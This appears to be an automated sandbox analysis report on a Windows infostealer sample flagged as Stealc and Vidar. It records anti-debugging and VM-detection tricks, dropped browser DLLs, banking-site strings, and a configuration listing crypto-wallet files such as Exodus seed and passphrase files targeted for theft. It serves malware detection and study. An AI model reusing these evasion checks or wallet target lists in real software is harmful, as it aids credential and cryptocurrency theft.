Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02FB second address: 52B0322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bl, C5h 0x0000000f mov si, 22A5h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0322 second address: 52B0334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0699139DCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0334 second address: 52B036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bh, 3Eh 0x0000000e pushfd 0x0000000f jmp 00007F0698769D74h 0x00000014 sub esi, 192DA818h 0x0000001a jmp 00007F0698769D6Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B036A second address: 52B0370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0370 second address: 52B0374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87E0D second address: B87E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88058 second address: B8805D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B74 second address: 52B0B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B7A second address: 52B0B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B7E second address: 52B0B9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0699139DD3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B9C second address: 52B0BC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0BC2 second address: 52B0BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0BD5 second address: 52B0BDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0BDB second address: 52B0BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0BDF second address: 52B0BFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov bx, 0730h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0698769D6Fh 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D1A84 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D1B61 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D1AA6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C03A9F instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6096

Thread sleep time: -36018s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00784910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00784910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0077DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0077E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0077BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0077F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00783EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00783EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_007838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00784570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00784570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0077ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0077DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00771160 GetSystemInfo,ExitProcess,

0_2_00771160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv
Source: JJJECFIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: JJJECFIE.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: JJJECFIE.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: JJJECFIE.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2427149939.00000000014E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8PQ
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JJJECFIE.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: JJJECFIE.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: JJJECFIE.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: JJJECFIE.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: JJJECFIE.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: JJJECFIE.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: JJJECFIE.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: JJJECFIE.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: JJJECFIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: JJJECFIE.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: JJJECFIE.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: JJJECFIE.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: JJJECFIE.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: JJJECFIE.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: JJJECFIE.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: JJJECFIE.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2427149939.000000000149E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JJJECFIE.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: JJJECFIE.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JJJECFIE.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: JJJECFIE.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58530
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58541
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59716
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58527
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58581
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58549

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C675FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C675FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007745C0 VirtualProtect ?,00000004,00000100,00000000

0_2_007745C0

Source: C:\Users\user\Desktop\file.exe

0_2_00789860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00789750 mov eax, dword ptr fs:[00000030h]

0_2_00789750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00787850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00787850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C64B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C64B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00789600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00789600

Source: file.exe, file.exe, 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64B341 cpuid

0_2_6C64B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00787B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00786920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00786920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00787850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00787850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00787A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00787A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2152965180.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2427149939.000000000149E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fpon7
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
